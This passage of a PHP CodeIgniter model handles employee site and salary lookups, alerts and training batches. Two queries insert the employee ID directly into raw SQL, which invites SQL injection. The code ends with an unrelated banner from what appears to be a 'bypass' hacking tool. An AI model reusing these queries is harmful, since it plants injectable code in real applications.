            return $result->camp_name;
        }
        else
        {
            return "";
        }
    }

    function get_employee_current_site($employee_id)
    {
        $sql = "SELECT site_name
                FROM site
                INNER JOIN
                site_allotment tt on tt.site_id = site.site_id
                INNER JOIN
                (SELECT employee_id, MAX(site_allotment_date) AS allotment_date
                FROM site_allotment
                GROUP BY employee_id) groupedtt ON tt.employee_id = groupedtt.employee_id AND tt.site_allotment_date = groupedtt.allotment_date
                where tt.employee_id = $employee_id ";
        $data=$this->db->query($sql);
        $result= $data->row();
        if($result)
        {
            return $result->site_name;
        }
        else
        {
            return "";
        }
    }

    function get_employee_current_salary_id($employee_id)
    {
        $sql = "SELECT salary_id
                FROM salary tt
                INNER JOIN
                (SELECT employee_id, MAX(salary_increment_date) AS increment_date
                FROM salary
                GROUP BY employee_id) groupedtt ON tt.employee_id = groupedtt.employee_id AND tt.salary_increment_date = groupedtt.increment_date
                where tt.employee_id = $employee_id ";
        $data=$this->db->query($sql);
        $result= $data->row();
        if($result)
        {
            return $result->salary_id;
        }
        else
        {
            return "";
        }
    }

    function mark_completed($alert_id)
    {
        $tblValues=array('alert_status'=>"0", 'completed_date'=>date("Y-m-d"));
	$this->db->where('alert_id',$alert_id);
        $this->db->update('alert', $tblValues);
    }

    function mark_completed_emp($employee_id,$alert_master_id)
    {
        $tblValues=array('alert_status'=>"0", 'completed_date'=>date("Y-m-d"));
	$this->db->where('alert_master_id',$alert_master_id);
        $this->db->where('employee_id',$employee_id);
        $this->db->update('alert', $tblValues);

    }

    function get_alert_users($alert_master_id)
    {
        $data = array();
        $this->db->join('role',"role.role_id=user.role_id");
        $this->db->join('designation',"role.designation_id=designation.designation_id");
        $this->db->join('alert_master_designation',"alert_master_designation.designation_id=designation.designation_id");
        $this->db->where('alert_master_designation.alert_master_id',$alert_master_id);
        $this->db->order_by('id','asc');
        $Q= $this->db->get('user');
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }

    function insert_alert($alert_master_id,$employee_id,$alert_date='')
    {
        if($alert_date == "")
            $alert_date = date("Y-m-d");
        $tblValues=array('alert_master_id'=>$alert_master_id,'employee_id'=>$employee_id,'alert_date'=>$alert_date);
        $this->db->insert('alert', $tblValues);
        return mysql_insert_id();

    }
    
    function get_if_training($employee_id)
    {
        $data = array();
        $this->db->from('training_module');
        $this->db->join('employee_non_main','emp_non_trade_id=trade_id');
        $this->db->where('emp_non_id',$employee_id);
        return $this->db->count_all_results();
    }

    function get_batch($allotment_date="")
    {
        $data = array();
        if(!empty ($allotment_date))
        {
            $allotment_date= $this->mastermodel->convertdateformat($allotment_date);
            $this->db->where('batch_date <=', $allotment_date);
        }
        $this->db->order_by("id", "asc");
        $Q = $this->db->get("batch");
        if ($Q->num_rows() > 0)
        {
            foreach ($Q->result_array() as $row)
            {
                $data[] = $row;
            }
        }
        $Q->free_result();
        return $data;
    }
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net